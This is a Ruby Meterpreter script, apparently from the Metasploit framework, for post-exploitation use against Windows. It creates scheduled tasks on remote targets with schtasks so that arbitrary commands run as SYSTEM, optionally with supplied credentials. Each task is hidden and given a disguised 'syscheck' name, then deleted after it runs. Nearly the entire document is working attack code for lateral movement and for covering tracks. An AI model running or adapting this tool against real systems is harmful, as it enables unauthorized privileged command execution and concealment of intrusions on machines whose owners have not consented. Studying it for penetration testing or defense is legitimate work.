##
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
# If you'd like to imporve this script, please try to port it as a post
# module instead. Thank you.
##



#Meterpreter script for abusing the scheduler service in windows
#by scheduling and running a list of command against one or more targets
#using schtasks command to run them as system. This script works with Windows XP,
#Windows 2003, Windows Vista and Windows 2008.
#Verion: 0.1.1
#Note: in Vista UAC must be disabled to be able to perform scheduling
#and the meterpreter must be running under the profile of local admin
#or system.
################## Variable Declarations ##################
session = client
# Setting Arguments
@@exec_opts = Rex::Parser::Arguments.new(
  "-h" => [ false,"Help menu."                        ],
  "-c" => [ true,"Commands to execute. Several commands can be given but separated by commas and enclose the list in double quotes if arguments are used."],
  "-u" => [ true,"Username to schedule task, if none is given the current user credentials will be used."],
  "-p" => [ true,"Password for user account specified, it must be given if a user is given."],
  "-d" => [ true,"Delay between the execution of commands in seconds, default is 2 seconds if not given."],
  "-t" => [ true,"Remote system to schedule job."],
  "-l" => [ true,"Text file with list of targets, one per line."],
  "-s" => [ true,"Text file with list of commands, one per line."]
)
#Setting Argument variables
commands = []
targets = []
username = nil
password = nil
delay = 2
help = 0
def usage
  print_status( "This Meterpreter script is for running commands on targets system using the")
  print_status( "Windows Scheduler, it is based on the tool presented but not released by Val Smith")
  print_status( "in Defcon 16 ATAbuser. If no user and password is given it will use the permissions")
  print_status( "of the process Meterpreter is running under.")
  print_status( "Options:")
  print_status( @@exec_opts.usage )
end
def abuse(session,targets,commands,username,password,delay)
  #for each target
  targets.each do |t|
    next if t.strip.length < 1
    next if t[0,1] == "#"
    #for eacg command
    commands.each do |c|
      next if c.strip.length < 1
      next if c[0,1] == "#"
      taskname = "syscheck#{rand(100)}"
      success = false
      #check if user name and password where given, if not credential of running process used
      if username == nil && password == nil
        print_status("Scheduling command #{c} to run .....")
        execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{c}\"  /sc once /ru system /s #{t} /st 00:00:00"
        r = session.sys.process.execute("cmd.exe /c #{execmd}", nil, {'Hidden' => 'true','Channelized' => true})
        #check if successfully scheduled
        while(d = r.channel.read)
          if d =~ /successfully been created/
            print_status("The scheduled task has been successfully created")
            success = true
          end
        end
        #check if schedule successful, if not raise error
        if !success
          print_status("Failed to create scheduled task!!")
          raise "Command could not be Scheduled"
        elsif success
          print_status("Running command on #{t}")
          session.sys.process.execute("cmd.exe /c schtasks /run /tn #{taskname} /s #{t}")
        end
        r.channel.close
        r.close
        #Wait before scheduling next command
        sleep(delay)
        print_status("Removing scheduled task")
        session.sys.process.execute("cmd.exe /c schtasks /delete /tn #{taskname} /s #{t} /F")
      else
        print_status("Scheduling command #{c} to run .....")
        execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{c}\"  /sc once /ru system /s #{t} /u #{username} /p #{password} /st 00:00:00"
        r = session.sys.process.execute("cmd.exe /c #{execmd}", nil, {'Hidden' => 'true','Channelized' => true})
        #check if successfully scheduled
        while(d = r.channel.read)
          if d =~ /successfully been created/
            print_status("The scheduled task has been successfully created")
            success = true
          end
        end
        #check if schedule successful, if not raise error
        if !success
          print_status("Failed to create scheduled task!!")
          raise "Command could not be Scheduled"
        elsif success
          print_status("Running command on #{t}")
          session.sys.process.execute("cmd.exe /c schtasks /run /tn #{taskname} /s #{t} /u #{username} /p #{password}")
        end
        r.channel.close
        r.close
        #Wait before scheduling next command
        sleep(delay)
        print_status("Removing scheduled task")
        session.sys.process.execute("cmd.exe /c schtasks /delete /tn #{taskname} /s #{t}  /u #{username} /p #{password} /F")
      end
    end
  end
end

#check for proper Meterpreter Platform
def unsupported
  print_error("This version of Meterpreter is not supported with this Script!")
  raise Rex::Script::Completed
end


@@exec_opts.parse(args) { |opt, idx, val|
  case opt

  when "-c"
    commands = val.split(',')
  when "-u"
    username = val
  when "-p"
    password = val
  when "-t"
    targets = val.split(',')
  when "-d"
    delay = val.to_i
  when "-s"
    script = val
    if not ::File.exist?(script)
      raise "Command List File does not exists!"
    else
      ::File.open(script, "r").each_line do |line|
        commands << line.chomp
      end
    end
  when "-l"
    list = val
    if not ::File.exist?(list)
      raise "Command List File does not exists!"
    else
      ::File.open(list, "r").each_line do |line|
        targets << line.chomp
      end
    end
  when "-h"
    help = 1
  end

}

unsupported if client.platform !~ /win32|win64/i
print_status("Meterpreter session running as #{session.sys.config.getuid}")
if help == 0 && commands.length != 0
  abuse(session,targets,commands,username,password,delay)
else
  usage
end
